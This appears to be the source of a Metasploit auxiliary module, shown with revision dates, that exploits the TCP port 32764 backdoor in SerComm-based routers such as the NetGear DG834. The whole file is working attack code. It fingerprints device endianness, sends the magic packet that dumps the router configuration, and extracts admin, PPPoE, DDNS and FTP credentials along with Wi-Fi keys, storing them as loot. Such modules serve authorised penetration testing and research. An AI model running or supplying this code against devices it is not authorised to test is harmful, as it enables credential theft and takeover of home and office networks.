metasploit-framework/modules/auxiliary/admin/misc/sercomm_dump_config.rb

264 lines
6.6 KiB
Ruby
Raw Normal View History

2014-01-09 19:42:11 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-01-09 19:42:11 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
2014-01-09 19:42:11 +00:00
SETTINGS = {
'Creds' => [
[ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],
2014-01-14 23:00:00 +00:00
[ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],
2014-01-09 19:42:11 +00:00
[ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],
[ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],
2014-01-09 19:42:11 +00:00
[ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],
[ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras
[ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra
[ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],
[ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],
2014-01-09 19:42:11 +00:00
],
'General' => [
['Wifi SSID', /wifi_ssid=(\S+)/i],
['Wifi Key 1', /wifi_key1=(\S+)/i],
['Wifi Key 2', /wifi_key2=(\S+)/i],
['Wifi Key 3', /wifi_key3=(\S+)/i],
['Wifi Key 4', /wifi_key4=(\S+)/i],
['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]
2014-01-09 19:42:11 +00:00
]
}
attr_accessor :endianess
2014-01-14 23:00:00 +00:00
attr_accessor :credentials
2014-01-09 19:42:11 +00:00
def initialize(info={})
super(update_info(info,
'Name' => "SerComm Device Configuration Dump",
'Description' => %q{
2014-01-09 19:42:11 +00:00
This module will dump the configuration of several SerComm devices. These devices
typically include routers from NetGear and Linksys. This module was tested
successfully against the NetGear DG834 series ADSL modem router.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
],
'References' =>
[
2014-01-09 19:42:11 +00:00
[ 'OSVDB', '101653' ],
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
],
'DisclosureDate' => "Dec 31 2013" ))
register_options(
[
Opt::RPORT(32764),
], self.class)
end
def run
2016-02-01 22:06:34 +00:00
print_status("Attempting to connect and check endianess...")
2014-01-14 23:02:30 +00:00
@endianess = fingerprint_endian
2014-01-14 23:00:00 +00:00
@credentials = {}
2014-01-09 19:42:11 +00:00
if endianess.nil?
print_error("Failed to check endianess, aborting...")
return
end
2016-02-01 22:06:34 +00:00
print_good("#{string_endianess} device found...")
2016-02-01 22:06:34 +00:00
print_status("Attempting to connect and dump configuration...")
2014-01-09 19:42:11 +00:00
config = dump_configuration
if config.nil?
2016-02-01 22:06:34 +00:00
print_status("Error retrieving configuration, aborting...")
2014-01-09 19:42:11 +00:00
return
end
loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")
2016-02-01 22:06:34 +00:00
print_status("Router configuration dump stored in: #{loot_file}")
2014-01-09 19:42:11 +00:00
parse_configuration(config[:data])
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
2014-01-09 19:42:11 +00:00
private
2014-01-09 19:42:11 +00:00
def little_endian?
return endianess == 'LE'
end
def big_endian?
return endianess == 'BE'
end
def string_endianess
if little_endian?
return "Little Endian"
elsif big_endian?
return "Big Endian"
end
return nil
end
def fingerprint_endian
begin
connect
sock.put(Rex::Text.rand_text(5))
res = sock.get_once(-1, 10)
2014-01-09 19:42:11 +00:00
disconnect
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.class}: #{e}")
return nil
end
unless res
return nil
end
if res.start_with?("MMcS")
return 'BE'
elsif res.start_with?("ScMM")
return 'LE'
end
return nil
end
def dump_configuration
if big_endian?
pkt = [0x4d4d6353, 0x01, 0x00].pack("NVV")
2014-01-09 19:42:11 +00:00
elsif little_endian?
pkt = [0x4d4d6353, 0x01, 0x00].pack("VNN")
2014-01-09 19:42:11 +00:00
else
return nil
end
connect
sock.put(pkt)
res = sock.get_once(-1, 10)
disconnect
2014-01-09 19:42:11 +00:00
if res.blank?
2016-02-01 22:06:34 +00:00
vprint_error("No answer...")
return
end
2014-01-09 19:42:11 +00:00
if big_endian?
mark, zero, length, data = res.unpack("NVVa*")
else
mark, zero, length, data = res.unpack("VNNa*")
end
unless mark == 0x4d4d6353
2016-02-01 22:06:34 +00:00
vprint_error("Incorrect mark when reading response")
2014-01-09 19:42:11 +00:00
return nil
end
unless zero == 0
2016-02-01 22:06:34 +00:00
vprint_error("Incorrect zero when reading response")
2014-01-09 19:42:11 +00:00
return nil
end
2014-01-09 19:42:11 +00:00
unless length == data.length
2016-02-01 22:06:34 +00:00
vprint_warning("Inconsistent length / data packet")
# return nil
2014-01-09 19:42:11 +00:00
end
2014-01-09 19:42:11 +00:00
return { :length => length, :data => data }
end
2014-01-09 19:42:11 +00:00
def parse_configuration(data)
configs = data.split(?\x00)
if datastore['VERBOSE']
vprint_status('All configuration values:')
configs.sort.each do |i|
if i.strip.match(/.*=\S+/)
vprint_status(i)
end
end
end
2014-01-09 19:42:11 +00:00
configs.each do |config|
parse_general_config(config)
2014-01-14 23:00:00 +00:00
parse_auth_config(config)
2014-01-09 19:42:11 +00:00
end
2014-01-14 23:00:00 +00:00
@credentials.each do |k,v|
next unless v[:user] and v[:password]
2016-02-01 22:06:34 +00:00
print_status("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
report_cred(
ip: rhost,
port: rport,
user: v[:user],
password: v[:password],
service_name: 'sercomm',
proof: v.inspect
)
2014-01-14 23:00:00 +00:00
end
2014-01-09 19:42:11 +00:00
end
def parse_general_config(config)
SETTINGS['General'].each do |regex|
if config.match(regex[1])
value = $1
2016-02-01 22:06:34 +00:00
print_status("#{regex[0]}: #{value}")
end
end
2014-01-09 19:42:11 +00:00
end
2014-01-14 23:00:00 +00:00
def parse_auth_config(config)
2014-01-09 19:42:11 +00:00
SETTINGS['Creds'].each do |cred|
2014-01-14 23:00:00 +00:00
@credentials[cred[0]] = {} unless @credentials[cred[0]]
# find the user/pass
2014-01-14 23:00:00 +00:00
if config.match(cred[1]['user'])
@credentials[cred[0]][:user] = $1
end
2014-01-14 23:00:00 +00:00
if config.match(cred[1]['pass'])
@credentials[cred[0]][:password] = $1
end
end
end
2014-01-09 19:42:11 +00:00
end